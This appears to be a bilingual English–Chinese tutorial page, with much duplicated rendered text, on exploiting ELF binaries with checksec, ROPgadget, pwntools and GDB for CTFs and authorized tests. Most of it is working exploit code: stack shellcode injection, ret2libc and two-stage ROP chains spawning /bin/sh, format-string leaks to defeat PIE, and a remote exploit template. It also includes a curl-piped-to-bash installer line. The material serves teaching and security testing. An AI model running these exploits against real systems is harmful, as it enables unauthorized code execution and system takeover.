performing-binary-exploitation-analysis

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Performing Binary Exploitation Analysis

二进制利用分析实操

For authorized security testing and CTF challenges only.
Analyze ELF binaries for exploitation vectors using checksec, ROPgadget, and pwntools for buffer overflow and ROP chain development.
仅用于授权安全测试和CTF竞赛。
使用checksec、ROPgadget和pwntools分析ELF二进制文件的利用向量,开展缓冲区溢出和ROP链开发工作。

When to Use

适用场景

  • Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
  • Solving binary exploitation challenges in CTF competitions
  • Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
  • Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
  • Training security engineers in exploit development techniques for defensive awareness
  • Validating that security patches for buffer overflow vulnerabilities are effective
Do not use against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).
  • 在授权渗透测试中分析ELF二进制文件,识别内存损坏漏洞
  • 解决CTF竞赛中的二进制利用挑战
  • 评估编译器缓解措施(NX、ASLR、栈金丝雀、PIE、RELRO)对目标二进制文件的有效性
  • 为漏洞报告开发概念验证利用程序,以展示漏洞影响
  • 培训安全工程师掌握利用开发技术,提升防御意识
  • 验证缓冲区溢出漏洞的安全补丁是否有效
请勿在未获得明确书面授权的系统上使用。 二进制利用技术可能导致系统不稳定,仅可在受控环境(实验室虚拟机、CTF平台、带有范围文档的授权渗透测试)中应用。

Prerequisites

前置条件

  • Linux system (Ubuntu/Debian recommended) for exploit development
  • Python 3.8+ with
    pwntools
    (
    pip install pwntools
    )
  • GDB with
    pwndbg
    or
    GEF
    plugin for enhanced debugging
  • ROPgadget
    for ROP chain gadget discovery (
    pip install ROPgadget
    )
  • checksec
    (included with pwntools or standalone via
    apt install checksec
    )
  • Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
  • Basic understanding of x86/x86_64 calling conventions and stack layout
  • 用于利用开发的Linux系统(推荐Ubuntu/Debian)
  • Python 3.8+及
    pwntools
    库(执行
    pip install pwntools
    安装)
  • 带有
    pwndbg
    GEF
    插件的GDB,用于增强调试功能
  • ROPgadget
    工具,用于ROP链gadget查找(执行
    pip install ROPgadget
    安装)
  • checksec
    工具(随pwntools附带,或通过
    apt install checksec
    单独安装)
  • 用于测试的目标漏洞二进制文件(例如来自pwnable.kr、ROP Emporium或自定义测试二进制文件)
  • 基本了解x86/x86_64调用约定和栈布局

Workflow

工作流程

Step 1: Install the Exploitation Toolkit

步骤1:安装利用工具集

bash
undefined
bash
undefined

Install pwntools and dependencies

Install pwntools and dependencies

pip install pwntools ROPgadget
pip install pwntools ROPgadget

Install GDB with pwndbg plugin

Install GDB with pwndbg plugin

git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh
git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh

Alternatively, install GEF (GDB Enhanced Features)

Alternatively, install GEF (GDB Enhanced Features)

bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

Install supporting tools

Install supporting tools

sudo apt install -y gdb nasm gcc-multilib libc6-dbg
sudo apt install -y gdb nasm gcc-multilib libc6-dbg

Verify installation

Verify installation

python3 -c "from pwn import *; print('pwntools version:', version)" checksec --version ROPgadget --version
undefined
python3 -c "from pwn import *; print('pwntools version:', version)" checksec --version ROPgadget --version
undefined

Step 2: Analyze Binary Protections with checksec

步骤2:使用checksec分析二进制保护机制

Before writing any exploit, enumerate the security mitigations compiled into the binary:
python
from pwn import *
在编写任何利用程序之前,先枚举二进制文件中编译的安全缓解措施:
python
from pwn import *

Load the target binary

Load the target binary

binary_path = "./vulnerable_server" elf = ELF(binary_path)
binary_path = "./vulnerable_server" elf = ELF(binary_path)

checksec output explains what mitigations are in place

checksec output explains what mitigations are in place

print(f"Architecture: {elf.arch}") print(f"Bits: {elf.bits}") print(f"Endianness: {elf.endian}") print()
print(f"Architecture: {elf.arch}") print(f"Bits: {elf.bits}") print(f"Endianness: {elf.endian}") print()

Key security properties

Key security properties

RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT

RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT

Stack Canary: Detects stack buffer overflows via random canary value

Stack Canary: Detects stack buffer overflows via random canary value

NX (No-eXecute): Prevents executing code on the stack (DEP)

NX (No-eXecute): Prevents executing code on the stack (DEP)

PIE: Position Independent Executable, randomizes base address

PIE: Position Independent Executable, randomizes base address

ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)

ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)

Also available via command line:

Also available via command line:

checksec --file=./vulnerable_server

checksec --file=./vulnerable_server


```bash

```bash

Command-line checksec output example:

Command-line checksec output example:

checksec --file=./vulnerable_server
checksec --file=./vulnerable_server

RELRO STACK CANARY NX PIE

RELRO STACK CANARY NX PIE

Partial RELRO No canary found NX disabled No PIE

Partial RELRO No canary found NX disabled No PIE

Check ASLR status on the system

Check ASLR status on the system

cat /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space

0 = disabled, 1 = conservative, 2 = full randomization

0 = disabled, 1 = conservative, 2 = full randomization

undefined
undefined

Step 3: Find the Buffer Overflow Offset

步骤3:查找缓冲区溢出偏移量

Determine exactly how many bytes are needed to overwrite the return address:
python
from pwn import *

context.binary = ELF("./vulnerable_server")
context.log_level = "info"
确定覆盖返回地址所需的确切字节数:
python
from pwn import *

context.binary = ELF("./vulnerable_server")
context.log_level = "info"

Method 1: Use cyclic pattern to find exact offset

Method 1: Use cyclic pattern to find exact offset

Generate a unique cyclic pattern

Generate a unique cyclic pattern

pattern_length = 200 pattern = cyclic(pattern_length) print(f"Generated cyclic pattern of length {pattern_length}")
pattern_length = 200 pattern = cyclic(pattern_length) print(f"Generated cyclic pattern of length {pattern_length}")

Send the pattern to the binary

Send the pattern to the binary

p = process("./vulnerable_server") p.sendline(pattern) p.wait()
p = process("./vulnerable_server") p.sendline(pattern) p.wait()

After the crash, read the value in RIP/EIP from core dump or GDB

After the crash, read the value in RIP/EIP from core dump or GDB

Then find the offset:

Then find the offset:

For 64-bit: crashed_value = p.corefile.fault_addr

For 64-bit: crashed_value = p.corefile.fault_addr

Or manually from GDB: "info registers rip" after crash

Or manually from GDB: "info registers rip" after crash

crashed_rip = 0x6161616c # Example value from crash offset = cyclic_find(crashed_rip) print(f"Offset to return address: {offset} bytes")
crashed_rip = 0x6161616c # Example value from crash offset = cyclic_find(crashed_rip) print(f"Offset to return address: {offset} bytes")

Method 2: Use GDB with pwndbg to find offset interactively

Method 2: Use GDB with pwndbg to find offset interactively

In GDB:

In GDB:

pwndbg> cyclic 200

pwndbg> cyclic 200

pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")

pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")

pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)

pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)

undefined
undefined

Step 4: Exploit a Stack Buffer Overflow (NX Disabled)

步骤4:利用栈缓冲区溢出(NX禁用)

When NX is disabled, inject and execute shellcode directly on the stack:
python
from pwn import *
当NX禁用时,可直接在栈上注入并执行shellcode:
python
from pwn import *

Configuration

Configuration

binary_path = "./vulnerable_server" context.binary = ELF(binary_path) context.arch = "amd64" # or "i386" for 32-bit
OFFSET = 72 # Determined in Step 3
binary_path = "./vulnerable_server" context.binary = ELF(binary_path) context.arch = "amd64" # or "i386" for 32-bit
OFFSET = 72 # Determined in Step 3

Generate shellcode

Generate shellcode

execve("/bin/sh", NULL, NULL) - spawn a shell

execve("/bin/sh", NULL, NULL) - spawn a shell

shellcode = asm(shellcraft.sh()) print(f"Shellcode length: {len(shellcode)} bytes")
shellcode = asm(shellcraft.sh()) print(f"Shellcode length: {len(shellcode)} bytes")

Build the exploit payload

Build the exploit payload

Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]

Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]

nop_sled = asm("nop") * 32
nop_sled = asm("nop") * 32

For a local exploit without ASLR, we can estimate the buffer address

For a local exploit without ASLR, we can estimate the buffer address

Run in GDB first to find the buffer address:

Run in GDB first to find the buffer address:

break *main+XX (after read/gets call)

break *main+XX (after read/gets call)

x/20x $rsp

x/20x $rsp

buffer_addr = 0x7fffffffe000 # Example - get from GDB
padding_len = OFFSET - len(nop_sled) - len(shellcode) payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
buffer_addr = 0x7fffffffe000 # Example - get from GDB
padding_len = OFFSET - len(nop_sled) - len(shellcode) payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)

Launch exploit

Launch exploit

p = process(binary_path) p.sendline(payload) p.interactive() # Interact with the spawned shell
undefined
p = process(binary_path) p.sendline(payload) p.interactive() # Interact with the spawned shell
undefined

Step 5: Build a ROP Chain (NX Enabled)

步骤5:构建ROP链(NX启用)

When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):
bash
undefined
当NX阻止栈代码执行时,链接现有代码gadget(返回导向编程,ROP):
bash
undefined

Find ROP gadgets in the binary

Find ROP gadgets in the binary

ROPgadget --binary ./vulnerable_server
ROPgadget --binary ./vulnerable_server

Find specific gadgets

Find specific gadgets

ROPgadget --binary ./vulnerable_server --only "pop|ret" ROPgadget --binary ./vulnerable_server --only "mov|ret"
ROPgadget --binary ./vulnerable_server --only "pop|ret" ROPgadget --binary ./vulnerable_server --only "mov|ret"

Search for gadgets to control registers for syscall

Search for gadgets to control registers for syscall

ROPgadget --binary ./vulnerable_server | grep "pop rdi" ROPgadget --binary ./vulnerable_server | grep "pop rsi" ROPgadget --binary ./vulnerable_server | grep "pop rdx" ROPgadget --binary ./vulnerable_server | grep "syscall"
ROPgadget --binary ./vulnerable_server | grep "pop rdi" ROPgadget --binary ./vulnerable_server | grep "pop rsi" ROPgadget --binary ./vulnerable_server | grep "pop rdx" ROPgadget --binary ./vulnerable_server | grep "syscall"

Find gadgets in libc (for ret2libc attacks)

Find gadgets in libc (for ret2libc attacks)

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20

```python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20

```python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72

Method 1: ret2libc - call system("/bin/sh") via libc

Method 1: ret2libc - call system("/bin/sh") via libc

When the binary is dynamically linked and we know libc version

When the binary is dynamically linked and we know libc version

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

Start process to leak libc address

Start process to leak libc address

p = process(binary_path)
p = process(binary_path)

If there is a format string or info leak, use it to find libc base

If there is a format string or info leak, use it to find libc base

Example: binary prints puts@GOT address

Example: binary prints puts@GOT address

p.recvuntil(b"puts address: ") puts_leak = int(p.recvline().strip(), 16) libc.address = puts_leak - libc.symbols["puts"] log.success(f"libc base: {hex(libc.address)}")
p.recvuntil(b"puts address: ") puts_leak = int(p.recvline().strip(), 16) libc.address = puts_leak - libc.symbols["puts"] log.success(f"libc base: {hex(libc.address)}")

Find a "pop rdi; ret" gadget for x86_64 calling convention

Find a "pop rdi; ret" gadget for x86_64 calling convention

First argument goes in RDI register

First argument goes in RDI register

pop_rdi = elf.search(asm("pop rdi; ret")).next() ret_gadget = elf.search(asm("ret")).next() # Stack alignment
pop_rdi = elf.search(asm("pop rdi; ret")).next() ret_gadget = elf.search(asm("ret")).next() # Stack alignment

Build the ROP chain: system("/bin/sh")

Build the ROP chain: system("/bin/sh")

bin_sh_addr = next(libc.search(b"/bin/sh\x00")) system_addr = libc.symbols["system"]
rop_chain = flat( b"A" * OFFSET, # Padding to reach return address ret_gadget, # Stack alignment (needed for movaps in system) pop_rdi, # pop rdi; ret - load /bin/sh address into RDI bin_sh_addr, # Address of "/bin/sh" string in libc system_addr, # Call system() )
p.sendline(rop_chain) p.interactive()
undefined
bin_sh_addr = next(libc.search(b"/bin/sh\x00")) system_addr = libc.symbols["system"]
rop_chain = flat( b"A" * OFFSET, # Padding to reach return address ret_gadget, # Stack alignment (needed for movaps in system) pop_rdi, # pop rdi; ret - load /bin/sh address into RDI bin_sh_addr, # Address of "/bin/sh" string in libc system_addr, # Call system() )
p.sendline(rop_chain) p.interactive()
undefined

Step 6: Use pwntools ROP Helper for Automated Chain Building

步骤6:使用pwntools ROP助手自动构建链

python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72
python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72

pwntools automatic ROP chain builder

pwntools automatic ROP chain builder

rop = ROP(elf)
rop = ROP(elf)

If the binary has enough gadgets, pwntools can build chains automatically

If the binary has enough gadgets, pwntools can build chains automatically

For execve("/bin/sh", 0, 0) syscall:

For execve("/bin/sh", 0, 0) syscall:

rop.call("puts", [elf.got["puts"]]) # Leak GOT entry rop.call(elf.symbols["main"]) # Return to main for second stage
rop.call("puts", [elf.got["puts"]]) # Leak GOT entry rop.call(elf.symbols["main"]) # Return to main for second stage

Print the ROP chain for debugging

Print the ROP chain for debugging

print(rop.dump())
print(rop.dump())

Build first-stage payload (leak libc)

Build first-stage payload (leak libc)

stage1 = flat( b"A" * OFFSET, rop.chain() )
p = process(binary_path) p.sendline(stage1)
stage1 = flat( b"A" * OFFSET, rop.chain() )
p = process(binary_path) p.sendline(stage1)

Parse the leaked puts address

Parse the leaked puts address

p.recvuntil(b"\n") # Skip program output leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00")) log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
p.recvuntil(b"\n") # Skip program output leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00")) log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")

Calculate libc base

Calculate libc base

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc.address = leaked_puts - libc.symbols["puts"] log.success(f"libc base: {hex(libc.address)}")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc.address = leaked_puts - libc.symbols["puts"] log.success(f"libc base: {hex(libc.address)}")

Build second-stage ROP chain using libc gadgets

Build second-stage ROP chain using libc gadgets

rop2 = ROP(libc) rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
stage2 = flat( b"A" * OFFSET, rop2.chain() )
p.sendline(stage2) p.interactive()
undefined
rop2 = ROP(libc) rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
stage2 = flat( b"A" * OFFSET, rop2.chain() )
p.sendline(stage2) p.interactive()
undefined

Step 7: Debug Exploits with GDB and pwndbg

步骤7:使用GDB和pwndbg调试利用程序

python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]  # or ["gnome-terminal", "--"]
python
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]  # or ["gnome-terminal", "--"]

Launch binary under GDB with pwndbg

Launch binary under GDB with pwndbg

p = gdb.debug(binary_path, """ # Set breakpoints at key locations break *main break *main+85
# Continue to the vulnerable function
continue
""")
p = gdb.debug(binary_path, """ # Set breakpoints at key locations break *main break *main+85
# Continue to the vulnerable function
continue
""")

GDB commands useful during exploit development:

GDB commands useful during exploit development:

pwndbg> vmmap - Show memory mappings (find stack, heap, libc)

pwndbg> vmmap - Show memory mappings (find stack, heap, libc)

pwndbg> checksec - Show binary protections

pwndbg> checksec - Show binary protections

pwndbg> search -s "/bin/sh" - Find string in memory

pwndbg> search -s "/bin/sh" - Find string in memory

pwndbg> rop --grep "pop rdi" - Search for gadgets

pwndbg> rop --grep "pop rdi" - Search for gadgets

pwndbg> cyclic 200 - Generate cyclic pattern

pwndbg> cyclic 200 - Generate cyclic pattern

pwndbg> cyclic -l 0x616161 - Find offset from pattern value

pwndbg> cyclic -l 0x616161 - Find offset from pattern value

pwndbg> telescope $rsp 20 - Show stack contents

pwndbg> telescope $rsp 20 - Show stack contents

pwndbg> x/20gx $rsp - Examine stack as 64-bit values

pwndbg> x/20gx $rsp - Examine stack as 64-bit values

pwndbg> heap - Analyze heap state

pwndbg> heap - Analyze heap state

pwndbg> got - Show GOT entries and resolved addresses

pwndbg> got - Show GOT entries and resolved addresses

pwndbg> plt - Show PLT entries

pwndbg> plt - Show PLT entries

OFFSET = 72 payload = b"A" * OFFSET + p64(0xdeadbeef) p.sendline(payload) p.interactive()
undefined
OFFSET = 72 payload = b"A" * OFFSET + p64(0xdeadbeef) p.sendline(payload) p.interactive()
undefined

Step 8: Handle PIE and ASLR with Information Leaks

步骤8:通过信息泄露应对PIE和ASLR

python
from pwn import *

binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf
python
from pwn import *

binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf

When PIE is enabled, we need to leak a code address to defeat randomization

When PIE is enabled, we need to leak a code address to defeat randomization

Common leak techniques:

Common leak techniques:

1. Format string vulnerability: %p to leak stack/code pointers

1. Format string vulnerability: %p to leak stack/code pointers

2. Partial overwrite: overwrite only lower bytes of a pointer

2. Partial overwrite: overwrite only lower bytes of a pointer

3. Uninitialized memory: read stack memory containing code pointers

3. Uninitialized memory: read stack memory containing code pointers

p = process(binary_path)
p = process(binary_path)

Example: Using a format string leak to defeat PIE

Example: Using a format string leak to defeat PIE

If the binary has a printf(user_input) vulnerability:

If the binary has a printf(user_input) vulnerability:

p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") leak_output = p.recvline().strip().decode() leaked_addrs = leak_output.split(".")
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") leak_output = p.recvline().strip().decode() leaked_addrs = leak_output.split(".")

Parse leaked addresses to find a code pointer

Parse leaked addresses to find a code pointer

for i, addr in enumerate(leaked_addrs): try: val = int(addr, 16) # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit if 0x550000000000 <= val <= 0x560000000000: log.info(f"Offset {i}: {addr} (likely PIE code address)") # libc addresses typically at 0x7fXXXXXXXXXX elif 0x7f0000000000 <= val <= 0x800000000000: log.info(f"Offset {i}: {addr} (likely libc address)") except ValueError: continue
for i, addr in enumerate(leaked_addrs): try: val = int(addr, 16) # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit if 0x550000000000 <= val <= 0x560000000000: log.info(f"Offset {i}: {addr} (likely PIE code address)") # libc addresses typically at 0x7fXXXXXXXXXX elif 0x7f0000000000 <= val <= 0x800000000000: log.info(f"Offset {i}: {addr} (likely libc address)") except ValueError: continue

Once we have a leaked PIE address, calculate the binary base

Once we have a leaked PIE address, calculate the binary base

leaked_code_addr = int(leaked_addrs[5], 16) # Example offset elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset log.success(f"PIE base: {hex(elf.address)}")
leaked_code_addr = int(leaked_addrs[5], 16) # Example offset elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset log.success(f"PIE base: {hex(elf.address)}")

Now we can use absolute addresses in our ROP chain

Now we can use absolute addresses in our ROP chain

rop = ROP(elf)
rop = ROP(elf)

... build chain using elf.symbols which are now correctly rebased

... build chain using elf.symbols which are now correctly rebased

undefined
undefined

Step 9: Exploit a Remote Target

步骤9:利用远程目标

python
from pwn import *
python
from pwn import *

Configuration

Configuration

REMOTE_HOST = "target.ctf.example.com" REMOTE_PORT = 9001 binary_path = "./vulnerable_server"
elf = ELF(binary_path) context.binary = elf
def exploit(target): """Run the full exploit chain against a target (local or remote).""" OFFSET = 72
# Stage 1: Leak libc
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.call(elf.symbols["main"])

payload1 = flat(b"A" * OFFSET, rop1.chain())
target.sendlineafter(b"Input: ", payload1)

leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")

# Stage 2: ret2libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols["puts"]

rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])

payload2 = flat(b"A" * OFFSET, rop2.chain())
target.sendlineafter(b"Input: ", payload2)

target.interactive()
REMOTE_HOST = "target.ctf.example.com" REMOTE_PORT = 9001 binary_path = "./vulnerable_server"
elf = ELF(binary_path) context.binary = elf
def exploit(target): """Run the full exploit chain against a target (local or remote).""" OFFSET = 72
# Stage 1: Leak libc
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.call(elf.symbols["main"])

payload1 = flat(b"A" * OFFSET, rop1.chain())
target.sendlineafter(b"Input: ", payload1)

leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")

# Stage 2: ret2libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols["puts"]

rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])

payload2 = flat(b"A" * OFFSET, rop2.chain())
target.sendlineafter(b"Input: ", payload2)

target.interactive()

Test locally first

Test locally first

log.info("Testing exploit locally...") local = process(binary_path) exploit(local)
log.info("Testing exploit locally...") local = process(binary_path) exploit(local)

Then run against remote target

Then run against remote target

log.info("Running exploit against remote target...")

log.info("Running exploit against remote target...")

remote = remote(REMOTE_HOST, REMOTE_PORT)

remote = remote(REMOTE_HOST, REMOTE_PORT)

exploit(remote)

exploit(remote)

undefined
undefined

Verification

验证

  • Confirm
    checksec
    correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
  • Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the
    ret
    instruction and confirming RIP/EIP contains the expected cyclic value
  • Test shellcode payloads execute correctly in a controlled environment with NX disabled
  • Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
  • Confirm the exploit works both locally (
    process()
    ) and against a remote target (
    remote()
    ) when the correct libc version is used
  • Verify that PIE bypass correctly rebases all addresses by checking GDB
    vmmap
    output against calculated addresses
  • Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
  • Run
    ROPgadget
    output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary
  • 确认
    checksec
    能正确识别所有二进制缓解措施(NX、金丝雀、PIE、RELRO),且结果与手动检查一致
  • 通过在
    ret
    指令处设置断点,确认RIP/EIP包含预期的循环值,验证循环模式偏移量查找器生成的偏移量正确
  • 在NX禁用的受控环境中测试shellcode payload能否正确执行
  • 通过在GDB中单步执行gadget,确认最终系统调用/函数调用前寄存器值设置正确,验证ROP链有效性
  • 确认当使用正确的libc版本时,利用程序在本地(
    process()
    )和远程目标(
    remote()
    )上均能正常工作
  • 通过对比GDB的
    vmmap
    输出与计算出的地址,验证PIE绕过能正确重定位所有地址
  • 测试当重新启用缓解措施时,利用程序能否正常失败(确认利用程序针对的是正确的弱点)
  • ROPgadget
    输出进行去重过滤,确认所有引用的gadget在目标二进制文件的指定偏移量处存在